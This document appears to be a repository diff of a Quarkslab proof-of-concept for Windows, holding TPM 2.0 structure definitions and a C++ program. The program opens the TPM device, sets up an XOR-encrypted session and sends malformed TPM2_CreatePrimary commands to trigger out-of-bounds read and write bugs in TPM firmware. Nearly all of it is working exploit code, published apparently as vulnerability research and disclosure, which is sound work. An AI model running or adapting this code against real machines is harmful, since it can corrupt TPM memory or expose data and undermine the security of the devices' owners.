     233 +#define TPM_PT_AUDIT_COUNTER_1 ((TPM_PT)(PT_VAR + 20))
     234 +
     235 +
     236 +#define TPM_RH_OWNER 0x40000001
     237 +#define TPM_RH_NULL 0x40000007
     238 +
     239 +#define TPM_ALG_XOR 0x0a
     240 +#define TPM_ALG_SHA256 0x0b
     241 +
     242 +
     243 +enum POC_NUMBER {
     244 + POC_OOB_READ,
     245 + POC_OOB_WRITE
     246 +};
     247 +
     248 +
     249 +#pragma pack(1)
     250 +typedef struct _AUTH_RESPONSE {
     251 + UINT16 tag;
     252 + UINT32 size;
     253 + UINT32 responseCode;
     254 + UINT32 sessionHandle;
     255 + UINT16 nonceTPMSize;
     256 + CHAR nonceTPM[];
     257 +} AUTH_RESPONSE;
     258 +
     259 +
     260 +typedef struct _BASE_TPM_COMMAND {
     261 + UINT16 tag;
     262 + UINT32 size;
     263 + UINT32 command;
     264 +} BASE_TPM_COMMAND;
     265 +
     266 +
     267 +typedef struct _TPMA_SESSION {
     268 + UINT8 continueSession : 1;
     269 + UINT8 auditExclusive : 1;
     270 + UINT8 auditReset : 1;
     271 + UINT8 reserved3_4 : 2;
     272 + UINT8 decrypt : 1;
     273 + UINT8 encrypt : 1;
     274 + UINT8 audit : 1;
     275 +} TPMA_SESSION;
     276 +
     277 +
     278 +typedef struct _TPMS_AUTH_COMMAND {
     279 + UINT32 sessionHandle;
     280 + UINT16 nonceSize;
     281 + TPMA_SESSION sessionAttributes;
     282 + UINT16 authValue;
     283 +} TPMS_AUTH_COMMAND;
     284 +
     285 +
     286 +typedef struct _CREATE_PRIMARY {
     287 + BASE_TPM_COMMAND base;
     288 + UINT32 handle;
     289 + UINT32 authorizationSize;
     290 + TPMS_AUTH_COMMAND authCommand;
     291 + UINT16 paramSize;
     292 + UINT8 params[];
     293 +} CREATE_PRIMARY;
     294 +
     295 +
     296 +typedef struct _SHORT_CREATE_PRIMARY {
     297 + BASE_TPM_COMMAND base;
     298 + UINT32 handle;
     299 + UINT32 authorizationSize;
     300 + TPMS_AUTH_COMMAND authCommand;
     301 +} SHORT_CREATE_PRIMARY;
     302 +
     303 +
     304 +typedef struct _CREATE_SESSION {
     305 + BASE_TPM_COMMAND base;
     306 + UINT32 tpmKey;
     307 + UINT32 bind;
     308 + UINT16 nonceCallerLength;
     309 + UINT8 nonceCaller[0x20];
     310 + UINT16 encryptedSaltLength;
     311 + UINT8 sessionType;
     312 + UINT16 symmetricAlgorithm;
     313 + UINT16 symmetricKeyBits;
     314 + UINT16 authHash;
     315 +} CREATE_SESSION;
     316 +
     317 +typedef struct _TPM_PROP {
     318 + BASE_TPM_COMMAND base;
     319 + UINT32 capability;
     320 + UINT32 property;
     321 + UINT32 property_count;
     322 +} TPM_PROP;
     323 +
     324 +
     325 +typedef struct {
     326 + TPM_PT property;
     327 + UINT32 value;
     328 +} TPMS_TAGGED_PROPERTY;
     329 +
     330 +typedef struct {
     331 + UINT32 count;
     332 + TPMS_TAGGED_PROPERTY tpmProperty[1];
     333 +} TPML_TAGGED_TPM_PROPERTY;
     334 +
     335 +
     336 +typedef union {
     337 + TPML_TAGGED_TPM_PROPERTY tpmProperties;
     338 +}TPMU_CAPABILITIES;
     339 +
     340 +
     341 +typedef struct {
     342 + UINT32 capability;
     343 + TPMU_CAPABILITIES data;
     344 +} TPMS_CAPABILITY_DATA;
     345 +
     346 +typedef struct {
     347 + BASE_TPM_COMMAND base;
     348 + UINT8 moreData;
     349 + TPMS_CAPABILITY_DATA capabilityData;
     350 +} TPM_PROP_RESPONSE;
  • ■ ■ ■ ■ ■ ■
    poc/generic/windows/poc-windows-max-cmd-size-detection/tpm-bugs-poc.cpp
     1 +/*
     2 +# BSD 2-Clause License
     3 +#
     4 +# Copyright (c) 2022, Quarkslab SAS
     5 +# All rights reserved.
     6 +#
     7 +# Redistribution and use in source and binary forms, with or without
     8 +# modification, are permitted provided that the following conditions are met:
     9 +#
     10 +# 1. Redistributions of source code must retain the above copyright notice, this
     11 +# list of conditions and the following disclaimer.
     12 +#
     13 +# 2. Redistributions in binary form must reproduce the above copyright notice,
     14 +# this list of conditions and the following disclaimer in the documentation
     15 +# and/or other materials provided with the distribution.
     16 +#
     17 +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
     18 +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     19 +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
     20 +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
     21 +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
     22 +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
     23 +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
     24 +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
     25 +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     26 +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     27 +*/
     28 +
     29 +#include <Windows.h>
     30 +#include <stdio.h>
     31 +#include <winsock.h>
     32 +#include <string.h>
     33 +#include "Tpm.h"
     34 +
     35 +
     36 +#define BUFSIZE 0x20000
     37 +#define TPM_IOCTL_SUBMIT_COMMAND_BLOCKING 0x22C00C
     38 +
     39 +
     40 +
     41 +void hexdump(void* abuffer, unsigned int buflen) {
     42 + unsigned int offset = 0;
     43 + unsigned int i, charcount, totalcount = 0, linepos = 0;
     44 + unsigned char* buf = (unsigned char*)abuffer;
     45 +
     46 + printf("offset\t\t00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\t\tdump\n");
     47 +
     48 + for (i = 0; i < buflen / 0x10; i++) {
     49 + printf("0x%08x\t", offset);
     50 + offset += 0x10;
     51 + charcount = 0;
     52 + linepos = totalcount;
     53 + while ((charcount < 0x10) && (totalcount < buflen)) {
     54 + printf("%02x ", buf[totalcount]);
     55 + totalcount++;
     56 + charcount++;
     57 + }
     58 + printf("\t");
     59 + for (unsigned int k = 0; k < 0x10; k++) {
     60 + if (isprint(buf[linepos])) {
     61 + printf("%c", buf[linepos]);
     62 + }
     63 + else {
     64 + printf(".");
     65 + }
     66 + linepos++;
     67 + }
     68 + printf("\n");
     69 + }
     70 +
     71 + linepos = totalcount;
     72 + if (buflen % 0x10) {
     73 + printf("0x%08x\t", offset);
     74 + offset += 0x10;
     75 + charcount = 0;
     76 + while (charcount < buflen % 0x10) {
     77 + printf("%02x ", buf[totalcount + charcount]);
     78 + charcount++;
     79 +
     80 + }
     81 + for (i = 0; i < 0x10 - (buflen % 0x10); i++) {
     82 + printf(" ");
     83 + }
     84 + printf("\t");
     85 + for (i = 0; i < buflen % 0x10; i++) {
     86 + if (isprint(buf[linepos])) {
     87 + printf("%c", buf[linepos]);
     88 + }
     89 + else {
     90 + printf(".");
     91 + }
     92 + linepos++;
     93 + }
     94 + printf("\n");
     95 + }
     96 + printf("\n");
     97 +}
     98 +
     99 +
     100 +HANDLE open_tpm() {
     101 + HANDLE hDevice;
     102 +
     103 + hDevice = CreateFile(L"\\??\\TPM", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
     104 + NULL, OPEN_EXISTING, 0, NULL);
     105 + if (hDevice == INVALID_HANDLE_VALUE) {
     106 + printf("[-] CreateFile failed, last error: %d\n", GetLastError());
     107 + }
     108 + else {
     109 + printf("[+] CreateFile succeeded, hFile: 0x%llx\n", (unsigned long long)hDevice);
     110 + }
     111 + return hDevice;
     112 +}
     113 +
     114 +
     115 +unsigned char* send_tpm_message(HANDLE hDevice, void* message, UINT32 message_size, DWORD* byteswritten) {
     116 + unsigned char* buf;
     117 +
     118 + if (message_size > BUFSIZE) {
     119 + printf("[-] message_size > 0x%x\n", BUFSIZE);
     120 + return NULL;
     121 + }
     122 +
     123 + buf = (unsigned char*)malloc(BUFSIZE);
     124 + if (!buf) {
     125 + printf("[-] malloc failed.\n");
     126 + return NULL;
     127 + }
     128 +
     129 + memcpy(buf, message, message_size);
     130 + if (DeviceIoControl(hDevice, TPM_IOCTL_SUBMIT_COMMAND_BLOCKING, buf, message_size, buf, BUFSIZE, byteswritten, NULL)) {
     131 + printf("[+] DeviceIoControl succeeded. byteswritten = 0x%x\n", *byteswritten);
     132 + printf("Raw response:\n");
     133 + hexdump(buf, *byteswritten);
     134 + return buf;
     135 + }
     136 + else {
     137 + printf("[-] DeviceIoControl failed, last error: %d\n", GetLastError());
     138 + free(buf);
     139 + return NULL;
     140 + }
     141 +}
     142 +
     143 +
     144 +DWORD get_tpm_property(HANDLE hDevice, TPM_PT property) {
     145 + TPM_PROP_RESPONSE *response;
     146 + TPM_PROP tpm_prop;
     147 + DWORD byteswritten;
     148 +
     149 + printf("Getting TPM property 0x%08x...\n", property);
     150 + memset(&tpm_prop, 0, sizeof(tpm_prop));
     151 + tpm_prop.base.tag = htons(0x0201); // TPM_ST_NO_SESSIONS
     152 + tpm_prop.base.size = htonl(sizeof(tpm_prop));
     153 + tpm_prop.base.command = htonl(TPM_CC_GetCapability);
     154 + tpm_prop.capability = htonl(TPM_CAP_TPM_PROPERTIES);
     155 + tpm_prop.property = htonl(property);
     156 + tpm_prop.property_count = htonl(1);
     157 + response = (TPM_PROP_RESPONSE *)send_tpm_message(hDevice, &tpm_prop, sizeof(tpm_prop), &byteswritten);
     158 + if (byteswritten < sizeof(TPM_PROP_RESPONSE)) {
     159 + printf("[-] Response length (0x%x) < sizeof(TPM_PROP_RESPONSE) (0x%llx)\n", byteswritten, sizeof(TPM_PROP_RESPONSE));
     160 + return 0;
     161 + }
     162 + if (ntohl(response->base.command != 0)) {
     163 + printf("[-] TPM_CC_GetCapability returned error 0x%x\n", ntohl(response->base.command));
     164 + return 0;
     165 + }
     166 + return ntohl(response->capabilityData.data.tpmProperties.tpmProperty[0].value);
     167 +}
     168 +
     169 +unsigned char* poc_oob_write(HANDLE hDevice, DWORD sessionHandle, DWORD max_command_size, DWORD* byteswritten) {
     170 + char* buf;
     171 + CREATE_PRIMARY create_primary;
     172 +
     173 + /*
     174 + 0x02, 0x02, // TPM_ST_SESSIONS
     175 + 0x00, 0x00, 0x10, 0x00, // total size = 0x1000
     176 + 0x00, 0x00, 0x01, 0x31, // command = TPM_CC_CreatePrimary
     177 + 0x40, 0x00, 0x00, 0x01, // handle = TPM_RH_OWNER
     178 + 0x00, 0x00, 0x00, 0x09, // authorization size
     179 +
     180 + // session area
     181 + // TPMS_AUTH_COMMAND struct starts here
     182 + 0x02, 0x00, 0x00, 0x00, // sessionHandle
     183 + 0x00, 0x00, // nonce size
     184 + // no nonceCaller (0 bytes)
     185 + 0x20, // session attributes = decrypt
     186 + 0x00, 0x00, // authValue (PW or HMAC)
     187 +
     188 + // Parameters for the command
     189 + 0x0f, 0xe5 // paramSize
     190 + // parameters should follow
     191 + */
     192 +
     193 + memset(&create_primary, 0, sizeof(create_primary));
     194 + create_primary.base.tag = htons(0x0202); // TPM_ST_SESSIONS
     195 + create_primary.base.command = htonl(TPM_CC_CreatePrimary);
     196 + create_primary.base.size = htonl(max_command_size); // maximum length
     197 + create_primary.handle = htonl(TPM_RH_OWNER);
     198 +
     199 + create_primary.authorizationSize = htonl(sizeof(TPMS_AUTH_COMMAND));
     200 + create_primary.authCommand.sessionHandle = htonl(sessionHandle);
     201 + create_primary.authCommand.nonceSize = htons(0x0000); // no nonce
     202 + create_primary.authCommand.sessionAttributes.decrypt = 1; // signal than parameters must be encrypted
     203 + create_primary.authCommand.authValue = htons(0x0000);
     204 + create_primary.paramSize = htons(max_command_size - sizeof(create_primary) + 2); // 0x1000 - sizeof(create_primary) + 2
     205 +
     206 + if (max_command_size < sizeof(create_primary)) {
     207 + printf("[-] max_command_size is too small.\n");
     208 + return NULL;
     209 + }
     210 +
     211 + buf = (char*)malloc(max_command_size);
     212 + if (!buf) {
     213 + printf("- malloc failed.\n");
     214 + return NULL;
     215 + }
     216 + memset(buf, 0x41, max_command_size);
     217 + memcpy(buf, &create_primary, sizeof(create_primary));
     218 + hexdump(buf, max_command_size);
     219 +
     220 + return send_tpm_message(hDevice, buf, max_command_size, byteswritten);
     221 +
     222 +}
     223 +
     224 +
     225 +unsigned char* poc_oob_read(HANDLE hDevice, DWORD sessionHandle, DWORD* byteswritten) {
     226 + SHORT_CREATE_PRIMARY short_create_primary;
     227 +
     228 + memset(&short_create_primary, 0, sizeof(short_create_primary));
     229 + short_create_primary.base.tag = htons(0x0202); // TPM_ST_SESSIONS
     230 + short_create_primary.base.command = htonl(TPM_CC_CreatePrimary);
     231 + short_create_primary.base.size = htonl(sizeof(short_create_primary));
     232 + short_create_primary.handle = htonl(TPM_RH_OWNER);
     233 +
     234 + short_create_primary.authorizationSize = htonl(sizeof(TPMS_AUTH_COMMAND)); // 9, the bare minimum
     235 + short_create_primary.authCommand.sessionHandle = htonl(sessionHandle);
     236 + short_create_primary.authCommand.nonceSize = htons(0x0000); // no nonce
     237 + short_create_primary.authCommand.sessionAttributes.decrypt = 1; // parameters must be decrypted
     238 + short_create_primary.authCommand.authValue = htons(0x0000);
     239 + // missing 'paramSize' here!
     240 +
     241 + printf("short_create_primary struct (size: 0x%llx):\n", sizeof(short_create_primary));
     242 + hexdump(&short_create_primary, sizeof(short_create_primary));
     243 +
     244 + return send_tpm_message(hDevice, &short_create_primary, sizeof(short_create_primary), byteswritten);
     245 +
     246 +}
     247 +
     248 +
     249 +AUTH_RESPONSE* create_session_symmetric_xor(HANDLE hDevice, DWORD* byteswritten) {
     250 + AUTH_RESPONSE* auth_response = NULL;
     251 + CREATE_SESSION create_session;
     252 +
     253 + memset(&create_session, 0, sizeof(create_session));
     254 + create_session.base.tag = htons(0x0201); // TPM_ST_NO_SESSIONS
     255 + create_session.base.size = htonl(sizeof(create_session));
     256 + create_session.base.command = htonl(TPM_CC_StartAuthSession);
     257 +
     258 + create_session.tpmKey = htonl(TPM_RH_NULL);
     259 + create_session.bind = htonl(TPM_RH_NULL);
     260 + create_session.nonceCallerLength = htons(0x20);
     261 + memset(&create_session.nonceCaller, 0x41, sizeof(create_session.nonceCaller));
     262 + create_session.encryptedSaltLength = htons(0x0000);
     263 + create_session.sessionType = 0x00; // session type = TPM_SE_HMAC
     264 + create_session.symmetricAlgorithm = htons(TPM_ALG_XOR);
     265 + create_session.symmetricKeyBits = htons(TPM_ALG_SHA256);
     266 + create_session.authHash = htons(TPM_ALG_SHA256);
     267 +
     268 + hexdump(&create_session, sizeof(create_session));
     269 +
     270 + auth_response = (AUTH_RESPONSE*)send_tpm_message(hDevice, &create_session, sizeof(create_session), byteswritten);
     271 + if (!auth_response) {
     272 + return NULL;
     273 + }
     274 + auth_response->tag = ntohs(auth_response->tag);
     275 + auth_response->size = ntohl(auth_response->size);
     276 + auth_response->responseCode = ntohl(auth_response->responseCode);
     277 + auth_response->sessionHandle = ntohl(auth_response->sessionHandle);
     278 + auth_response->nonceTPMSize = ntohs(auth_response->nonceTPMSize);
     279 + return auth_response;
     280 +}
     281 +
     282 +
     283 +void print_vendor_info(HANDLE hDevice) {
     284 + DWORD manufacturer, version1, version2;
     285 + UINT16 *v1, *v2;
     286 + char manufacturer_str[5];
     287 + DWORD vendor_strings[4];
     288 + unsigned int i;
     289 +
     290 + manufacturer = get_tpm_property(hDevice, TPM_PT_MANUFACTURER);
     291 +
     292 + for (i = 0; i < 4; i++) {
     293 + vendor_strings[i] = get_tpm_property(hDevice, TPM_PT_VENDOR_STRING_1 + i);
     294 + }
     295 +
     296 + version1 = get_tpm_property(hDevice, TPM_PT_FIRMWARE_VERSION_1);
     297 + v1 = (UINT16*)&version1;
     298 + version2 = get_tpm_property(hDevice, TPM_PT_FIRMWARE_VERSION_2);
     299 + v2 = (UINT16*)&version2;
     300 +
     301 + manufacturer_str[4] = 0; // just a null terminator for the string
     302 + *(DWORD*)manufacturer_str = htonl(manufacturer);
     303 + printf("\n=== Vendor information===\n");
     304 + printf("\t[i] TPM manufacturer: 0x%08x (\"%s\")\n", manufacturer, (char*)&manufacturer_str);
     305 + printf("\t[i] Vendor strings: [");
     306 +
     307 + for (i = 0; i < 4; i++) {
     308 + printf("0x%08x ", vendor_strings[i]);
     309 + }
     310 + printf("] (\"");
     311 +
     312 + for (i = 0; i < 4; i++) {
     313 + *(DWORD*)manufacturer_str = htonl(vendor_strings[i]);
     314 + printf("%s", manufacturer_str);
     315 + }
     316 + printf("\")\n");
     317 +
     318 + printf("\t[i] Firmware version: [0x%08x 0x%08x] (\"%d.%d.%d.%d\")\n\n", version1, version2, \
     319 + *(v1+1), *v1, *(v2+1), *v2);
     320 +
     321 +}
     322 +
     323 +
     324 +int main(int argc, char** argv) {
     325 + HANDLE hDevice;
     326 + unsigned char* buf = NULL;
     327 + DWORD response_size = 0, max_command_size;
     328 + AUTH_RESPONSE* auth_response = NULL;
     329 + POC_NUMBER poc_number;
     330 +
     331 +
     332 + if (argc < 2) {
     333 + printf("Usage: %s < oobread | oobwrite >\n", argv[0]);
     334 + return 1;
     335 + }
     336 +
     337 + if (!_strcmpi(argv[1], "oobread")) {
     338 + poc_number = POC_OOB_READ;
     339 + }
     340 + else if (!_strcmpi(argv[1], "oobwrite")) {
     341 + poc_number = POC_OOB_WRITE;
     342 + }
     343 + else {
     344 + printf("[-] Unkown argument %s\n", argv[1]);
     345 + return 1;
     346 + }
     347 +
     348 + hDevice = open_tpm();
     349 + if (hDevice == INVALID_HANDLE_VALUE) {
     350 + return 1;
     351 + }
     352 +
     353 + print_vendor_info(hDevice);
     354 +
     355 + printf("++++++ Creating session ++++++\n");
     356 + auth_response = create_session_symmetric_xor(hDevice, &response_size);
     357 +
     358 + if (auth_response) {
     359 + printf("Auth Response (0x%x bytes):\n", response_size);
     360 + //hexdump(buf, response_size);
     361 + printf("\tauth_response.responseCode: 0x%x\n", auth_response->responseCode);
     362 +
     363 + if (auth_response->responseCode != 0) {
     364 + printf("responseCode != 0, something failed.\n");
     365 + goto finish;
     366 + }
     367 + printf("\tauth_response.sessionHandle: 0x%x\n", auth_response->sessionHandle);
     368 + printf("\tauth_response.nonce_size: 0x%x\n", auth_response->nonceTPMSize);
     369 + printf("\tauth:response.nonce: \n");
     370 + hexdump(&auth_response->nonceTPM, auth_response->nonceTPMSize);
     371 +
     372 +
     373 + switch (poc_number) {
     374 + case POC_OOB_WRITE:
     375 + max_command_size = get_tpm_property(hDevice, TPM_PT_MAX_COMMAND_SIZE);
     376 + if (max_command_size == 0) {
     377 + printf("[-] Couldn't determine TPM_PT_MAX_COMMAND_SIZE, exiting.\n");
     378 + goto finish;
     379 + }
     380 + printf("++++++ Trying OOB write PoC. Max command size: 0x%x ++++++\n", max_command_size);
     381 + buf = poc_oob_write(hDevice, auth_response->sessionHandle, max_command_size, &response_size);
     382 + break;
     383 + case POC_OOB_READ:
     384 + printf("++++++ Trying OOB read PoC... ++++++\n");
     385 + buf = poc_oob_read(hDevice, auth_response->sessionHandle, &response_size);
     386 + break;
     387 + default:
     388 + printf("[-] Unknown option.\n");
     389 + break;
     390 + }
     391 + }
     392 +
     393 +
     394 +finish:
     395 + if (buf) {
     396 + free(buf);
     397 + }
     398 + if (auth_response) {
     399 + free(auth_response);
     400 + }
     401 + CloseHandle(hDevice);
     402 + return 0;
     403 +}
     404 +
     405 + 
  • poc/generic/windows/poc-windows-max-cmd-size-detection/tpm-bugs-poc.exe
    Binary file.
Please wait...
Page is in error, reload to recover